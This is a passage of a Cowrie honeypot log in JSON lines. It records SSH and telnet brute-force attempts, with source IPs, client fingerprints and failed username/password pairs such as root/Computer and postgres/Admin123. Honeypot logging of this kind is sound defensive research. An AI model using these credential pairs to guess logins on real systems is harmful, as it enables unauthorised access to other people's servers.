03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:11.434776Z","src_ip":"218.78.46.81","session":"c7f45ef11ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:13.807796Z","src_ip":"218.78.46.81","session":"c7f45ef11ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.1","message":"Connection lost after 22.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:13.825952Z","src_ip":"122.168.114.167","session":"97b0ad371485","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:16.901352Z","src_ip":"218.78.46.81","session":"c7f45ef11ab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":36140,"dst_ip":"10.17.0.5","dst_port":22,"session":"d61a734ddc9a","protocol":"ssh","message":"New connection: 106.75.222.164:36140 (10.17.0.5:22) [session: d61a734ddc9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:23.067384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:23.071710Z","src_ip":"106.75.222.164","session":"d61a734ddc9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:23.323664Z","src_ip":"106.75.222.164","session":"d61a734ddc9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A123456a","message":"login attempt [ubuntu/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:24.359519Z","src_ip":"106.75.222.164","session":"d61a734ddc9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":38812,"dst_ip":"159.203.135.109","dst_port":22,"session":"32308dc50eb6","protocol":"ssh","message":"New connection: 103.13.206.208:38812 (159.203.135.109:22) [session: 32308dc50eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:24.415933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:24.420398Z","src_ip":"103.13.206.208","session":"32308dc50eb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:24.651538Z","src_ip":"103.13.206.208","session":"32308dc50eb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"Aa123456","message":"login attempt [dev/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:25.609355Z","src_ip":"103.13.206.208","session":"32308dc50eb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:25.614226Z","src_ip":"106.75.222.164","session":"d61a734ddc9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:26.843263Z","src_ip":"103.13.206.208","session":"32308dc50eb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":36018,"dst_ip":"159.203.135.109","dst_port":22,"session":"e804cb626d7b","protocol":"ssh","message":"New connection: 122.168.114.167:36018 (159.203.135.109:22) [session: e804cb626d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:29.816868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:33.012908Z","src_ip":"122.168.114.167","session":"e804cb626d7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:33.015648Z","src_ip":"122.168.114.167","session":"e804cb626d7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:48.296556Z","src_ip":"122.168.114.167","session":"e804cb626d7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":57902,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d60d3ba52f0","protocol":"ssh","message":"New connection: 210.114.22.126:57902 (10.17.0.5:22) [session: 1d60d3ba52f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:49.799516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:50.999628Z","src_ip":"210.114.22.126","session":"1d60d3ba52f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:51.204535Z","src_ip":"210.114.22.126","session":"1d60d3ba52f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.1","message":"Connection lost after 22.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:51.888740Z","src_ip":"122.168.114.167","session":"e804cb626d7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123123123","message":"login attempt [ftpuser/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:54.307770Z","src_ip":"210.114.22.126","session":"1d60d3ba52f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:18:56.113404Z","src_ip":"210.114.22.126","session":"1d60d3ba52f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":38418,"dst_ip":"159.203.135.109","dst_port":22,"session":"b87d6847ad33","protocol":"ssh","message":"New connection: 122.168.114.167:38418 (159.203.135.109:22) [session: b87d6847ad33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:19:11.352399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:19:14.758791Z","src_ip":"122.168.114.167","session":"b87d6847ad33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:19:14.763854Z","src_ip":"122.168.114.167","session":"b87d6847ad33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:19:30.461659Z","src_ip":"122.168.114.167","session":"b87d6847ad33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.7","message":"Connection lost after 23.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:19:35.103929Z","src_ip":"122.168.114.167","session":"b87d6847ad33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":46946,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e809ee7ffd1","protocol":"ssh","message":"New connection: 103.13.206.208:46946 (159.203.135.109:22) [session: 3e809ee7ffd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:19:43.720651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:19:43.725037Z","src_ip":"103.13.206.208","session":"3e809ee7ffd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:19:43.959783Z","src_ip":"103.13.206.208","session":"3e809ee7ffd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Computer","message":"login attempt [root/Computer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:19:44.938710Z","src_ip":"103.13.206.208","session":"3e809ee7ffd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:19:46.177834Z","src_ip":"103.13.206.208","session":"3e809ee7ffd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":40822,"dst_ip":"159.203.135.109","dst_port":22,"session":"155ad3175cef","protocol":"ssh","message":"New connection: 122.168.114.167:40822 (159.203.135.109:22) [session: 155ad3175cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:19:50.039715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:19:53.838817Z","src_ip":"122.168.114.167","session":"155ad3175cef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:19:53.846511Z","src_ip":"122.168.114.167","session":"155ad3175cef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.61.210.160","src_port":53890,"dst_ip":"159.203.135.109","dst_port":23,"session":"931a475d45da","protocol":"telnet","message":"New connection: 38.61.210.160:53890 (159.203.135.109:23) [session: 931a475d45da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:19:57.117213Z"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:10.371590Z","src_ip":"122.168.114.167","session":"155ad3175cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.0","message":"Connection lost after 25.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:15.034714Z","src_ip":"122.168.114.167","session":"155ad3175cef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":47040,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecb5f4be0dfd","protocol":"ssh","message":"New connection: 210.114.22.126:47040 (10.17.0.5:22) [session: ecb5f4be0dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:24.649696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:25.146302Z","src_ip":"210.114.22.126","session":"ecb5f4be0dfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:25.339148Z","src_ip":"210.114.22.126","session":"ecb5f4be0dfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Admin123","message":"login attempt [postgres/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:29.059415Z","src_ip":"210.114.22.126","session":"ecb5f4be0dfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:20:30.350322Z","src_ip":"210.114.22.126","session":"ecb5f4be0dfd","protocol":"ssh"}
